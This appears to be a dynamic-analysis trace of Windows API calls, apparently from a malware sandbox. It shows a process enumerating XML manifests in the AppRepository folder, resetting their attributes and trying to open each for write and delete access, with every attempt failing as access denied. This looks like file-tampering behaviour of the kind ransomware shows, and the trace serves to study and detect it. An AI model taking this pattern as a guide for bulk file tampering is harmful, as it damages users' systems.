	[0090.518] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.3dbuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.518] GetLastError () returned 0x5
	[0090.518] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe.xml", dwFileAttributes=0x20) returned 0
	[0090.518] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477df50) returned 1
	[0090.518] FindNextFileW (in: hFindFile=0x46a8658, lpFindFileData=0x47a44d0 | out: lpFindFileData=0x47a44d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb34b6700, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xb34b6700, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb34b6700, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x13a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe.xml", cAlternateFileName="MI4032~1.XML")) returned 1
	[0090.518] wcscmp (_String1="Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe.xml", _String2=".") returned 1
	[0090.518] wcscmp (_String1="Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe.xml", _String2="..") returned 1
	[0090.518] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xce) returned 0x2e11ee8
	[0090.518] wcscpy (in: _Dest=0x2e11ee8, _Source="C:\\ProgramData\\Microsoft\\Windows\\AppRepository" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository"
	[0090.518] wcscat (in: _Dest=0x2e11ee8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\"
	[0090.518] wcscat (in: _Dest=0x2e11ee8, _Source="Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe.xml") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe.xml"
	[0090.518] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0090.519] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe.xml", dwFileAttributes=0x20) returned 0
	[0090.519] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.519] GetLastError () returned 0x5
	[0090.519] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe.xml", dwFileAttributes=0x20) returned 0
	[0090.519] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e11ee8) returned 1
	[0090.519] FindNextFileW (in: hFindFile=0x46a8658, lpFindFileData=0x47a44d0 | out: lpFindFileData=0x47a44d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9999651d, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x9999651d, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x9999651d, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0xc82, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AAD.BrokerPlugin_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml", cAlternateFileName="MICROS~1.XML")) returned 1
	[0090.545] wcscmp (_String1="Microsoft.AAD.BrokerPlugin_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml", _String2=".") returned 1
	[0090.545] wcscmp (_String1="Microsoft.AAD.BrokerPlugin_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml", _String2="..") returned 1
	[0090.545] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf6) returned 0x4778060
	[0090.545] wcscpy (in: _Dest=0x4778060, _Source="C:\\ProgramData\\Microsoft\\Windows\\AppRepository" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository"
	[0090.545] wcscat (in: _Dest=0x4778060, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\"
	[0090.545] wcscat (in: _Dest=0x4778060, _Source="Microsoft.AAD.BrokerPlugin_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.AAD.BrokerPlugin_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.AAD.BrokerPlugin_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml"
	[0090.545] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.AAD.BrokerPlugin_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.aad.brokerplugin_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml")) returned 0x20
	[0090.545] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.AAD.BrokerPlugin_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml", dwFileAttributes=0x20) returned 0
	[0090.545] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.AAD.BrokerPlugin_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.aad.brokerplugin_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.545] GetLastError () returned 0x5
	[0090.546] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.AAD.BrokerPlugin_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml", dwFileAttributes=0x20) returned 0
	[0090.546] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4778060) returned 1
	[0090.546] FindNextFileW (in: hFindFile=0x46a8658, lpFindFileData=0x47a44d0 | out: lpFindFileData=0x47a44d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a4049eb, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x9a4049eb, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x9a4049eb, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x3678, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AccountsControl_10.0.15063.447_neutral__cw5n1h2txyewy.xml", cAlternateFileName="MICROS~2.XML")) returned 1
	[0090.546] wcscmp (_String1="Microsoft.AccountsControl_10.0.15063.447_neutral__cw5n1h2txyewy.xml", _String2=".") returned 1
	[0090.546] wcscmp (_String1="Microsoft.AccountsControl_10.0.15063.447_neutral__cw5n1h2txyewy.xml", _String2="..") returned 1
	[0090.546] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe6) returned 0x491e438
	[0090.546] wcscpy (in: _Dest=0x491e438, _Source="C:\\ProgramData\\Microsoft\\Windows\\AppRepository" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository"
	[0090.546] wcscat (in: _Dest=0x491e438, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\"
	[0090.546] wcscat (in: _Dest=0x491e438, _Source="Microsoft.AccountsControl_10.0.15063.447_neutral__cw5n1h2txyewy.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.AccountsControl_10.0.15063.447_neutral__cw5n1h2txyewy.xml") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.AccountsControl_10.0.15063.447_neutral__cw5n1h2txyewy.xml"
	[0090.546] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.AccountsControl_10.0.15063.447_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.accountscontrol_10.0.15063.447_neutral__cw5n1h2txyewy.xml")) returned 0x20
	[0090.546] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.AccountsControl_10.0.15063.447_neutral__cw5n1h2txyewy.xml", dwFileAttributes=0x20) returned 0
	[0090.546] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.AccountsControl_10.0.15063.447_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.accountscontrol_10.0.15063.447_neutral__cw5n1h2txyewy.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.546] GetLastError () returned 0x5
	[0090.546] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.AccountsControl_10.0.15063.447_neutral__cw5n1h2txyewy.xml", dwFileAttributes=0x20) returned 0
	[0090.547] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491e438) returned 1
	[0090.547] FindNextFileW (in: hFindFile=0x46a8658, lpFindFileData=0x47a44d0 | out: lpFindFileData=0x47a44d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4861de0, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xb4861de0, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb4861de0, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0xf40, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe.xml", cAlternateFileName="MIC406~1.XML")) returned 1
	[0090.547] wcscmp (_String1="Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe.xml", _String2=".") returned 1
	[0090.547] wcscmp (_String1="Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe.xml", _String2="..") returned 1
	[0090.547] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xda) returned 0x4e32e20
	[0090.547] wcscpy (in: _Dest=0x4e32e20, _Source="C:\\ProgramData\\Microsoft\\Windows\\AppRepository" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository"
	[0090.547] wcscat (in: _Dest=0x4e32e20, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\"
	[0090.547] wcscat (in: _Dest=0x4e32e20, _Source="Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe.xml") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe.xml"
	[0090.547] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.advertising.xaml_10.0.1605.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0090.547] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe.xml", dwFileAttributes=0x20) returned 0
	[0090.547] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.advertising.xaml_10.0.1605.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.547] GetLastError () returned 0x5
	[0090.547] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe.xml", dwFileAttributes=0x20) returned 0
	[0090.547] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e32e20) returned 1
	[0090.547] FindNextFileW (in: hFindFile=0x46a8658, lpFindFileData=0x47a44d0 | out: lpFindFileData=0x47a44d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb50e0420, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xb50e0420, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb50e0420, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0xf40, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe.xml", cAlternateFileName="MI930E~1.XML")) returned 1
	[0090.547] wcscmp (_String1="Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe.xml", _String2=".") returned 1
	[0090.547] wcscmp (_String1="Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe.xml", _String2="..") returned 1
	[0090.547] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xda) returned 0x4e330d8
	[0090.547] wcscpy (in: _Dest=0x4e330d8, _Source="C:\\ProgramData\\Microsoft\\Windows\\AppRepository" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository"
	[0090.547] wcscat (in: _Dest=0x4e330d8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\"
	[0090.548] wcscat (in: _Dest=0x4e330d8, _Source="Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe.xml") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe.xml"
	[0090.548] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.advertising.xaml_10.0.1605.0_x86__8wekyb3d8bbwe.xml")) returned 0x20
	[0090.548] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe.xml", dwFileAttributes=0x20) returned 0
	[0090.548] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.advertising.xaml_10.0.1605.0_x86__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.548] GetLastError () returned 0x5
	[0090.548] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe.xml", dwFileAttributes=0x20) returned 0
	[0090.548] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e330d8) returned 1
	[0090.548] FindNextFileW (in: hFindFile=0x46a8658, lpFindFileData=0x47a44d0 | out: lpFindFileData=0x47a44d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0a70a46, ftCreationTime.dwHighDateTime=0x1d3271f, ftLastAccessTime.dwLowDateTime=0xf0a70a46, ftLastAccessTime.dwHighDateTime=0x1d3271f, ftLastWriteTime.dwLowDateTime=0xf0ae31f1, ftLastWriteTime.dwHighDateTime=0x1d3271f, nFileSizeHigh=0x0, nFileSizeLow=0xab8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe.xml", cAlternateFileName="MID251~1.XML")) returned 1
	[0090.548] wcscmp (_String1="Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe.xml", _String2=".") returned 1
	[0090.548] wcscmp (_String1="Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe.xml", _String2="..") returned 1
	[0090.548] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x477df50
	[0090.548] wcscpy (in: _Dest=0x477df50, _Source="C:\\ProgramData\\Microsoft\\Windows\\AppRepository" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository"
	[0090.548] wcscat (in: _Dest=0x477df50, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\"
	[0090.548] wcscat (in: _Dest=0x477df50, _Source="Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe.xml") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe.xml"
	[0090.548] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe.xml")) returned 0x20
	[0090.548] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe.xml", dwFileAttributes=0x20) returned 0
	[0090.549] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.549] GetLastError () returned 0x5
	[0090.549] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe.xml", dwFileAttributes=0x20) returned 0
	[0090.549] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477df50) returned 1
	[0090.549] FindNextFileW (in: hFindFile=0x46a8658, lpFindFileData=0x47a44d0 | out: lpFindFileData=0x47a44d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf080e498, ftCreationTime.dwHighDateTime=0x1d3271f, ftLastAccessTime.dwLowDateTime=0xf080e498, ftLastAccessTime.dwHighDateTime=0x1d3271f, ftLastWriteTime.dwLowDateTime=0xf080e498, ftLastWriteTime.dwHighDateTime=0x1d3271f, nFileSizeHigh=0x0, nFileSizeLow=0x6b98, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe.xml", cAlternateFileName="MIB577~1.XML")) returned 1
	[0090.549] wcscmp (_String1="Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe.xml", _String2=".") returned 1
	[0090.549] wcscmp (_String1="Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe.xml", _String2="..") returned 1
	[0090.549] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe2) returned 0x491dda8
	[0090.549] wcscpy (in: _Dest=0x491dda8, _Source="C:\\ProgramData\\Microsoft\\Windows\\AppRepository" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository"
	[0090.549] wcscat (in: _Dest=0x491dda8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\"
	[0090.549] wcscat (in: _Dest=0x491dda8, _Source="Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe.xml") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe.xml"
	[0090.549] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0090.549] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe.xml", dwFileAttributes=0x20) returned 0
	[0090.549] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.549] GetLastError () returned 0x5
	[0090.549] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe.xml", dwFileAttributes=0x20) returned 0
	[0090.549] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491dda8) returned 1
	[0090.549] FindNextFileW (in: hFindFile=0x46a8658, lpFindFileData=0x47a44d0 | out: lpFindFileData=0x47a44d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2b7dd80, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd2b7dd80, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xd2b7dd80, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x34e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.BingFinance_4.6.169.0_neutral_split.scale-200_8wekyb3d8bbwe.xml", cAlternateFileName="MI5448~1.XML")) returned 1
	[0090.549] wcscmp (_String1="Microsoft.BingFinance_4.6.169.0_neutral_split.scale-200_8wekyb3d8bbwe.xml", _String2=".") returned 1
	[0090.550] wcscmp (_String1="Microsoft.BingFinance_4.6.169.0_neutral_split.scale-200_8wekyb3d8bbwe.xml", _String2="..") returned 1
	[0090.550] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf2) returned 0x4778660
	[0090.550] wcscpy (in: _Dest=0x4778660, _Source="C:\\ProgramData\\Microsoft\\Windows\\AppRepository" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository"
	[0090.550] wcscat (in: _Dest=0x4778660, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\"
	[0090.550] wcscat (in: _Dest=0x4778660, _Source="Microsoft.BingFinance_4.6.169.0_neutral_split.scale-200_8wekyb3d8bbwe.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingFinance_4.6.169.0_neutral_split.scale-200_8wekyb3d8bbwe.xml") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingFinance_4.6.169.0_neutral_split.scale-200_8wekyb3d8bbwe.xml"
	[0090.550] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingFinance_4.6.169.0_neutral_split.scale-200_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.bingfinance_4.6.169.0_neutral_split.scale-200_8wekyb3d8bbwe.xml")) returned 0x20
	[0090.550] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingFinance_4.6.169.0_neutral_split.scale-200_8wekyb3d8bbwe.xml", dwFileAttributes=0x20) returned 0
	[0090.550] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingFinance_4.6.169.0_neutral_split.scale-200_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.bingfinance_4.6.169.0_neutral_split.scale-200_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.550] GetLastError () returned 0x5
	[0090.550] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingFinance_4.6.169.0_neutral_split.scale-200_8wekyb3d8bbwe.xml", dwFileAttributes=0x20) returned 0
	[0090.550] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4778660) returned 1
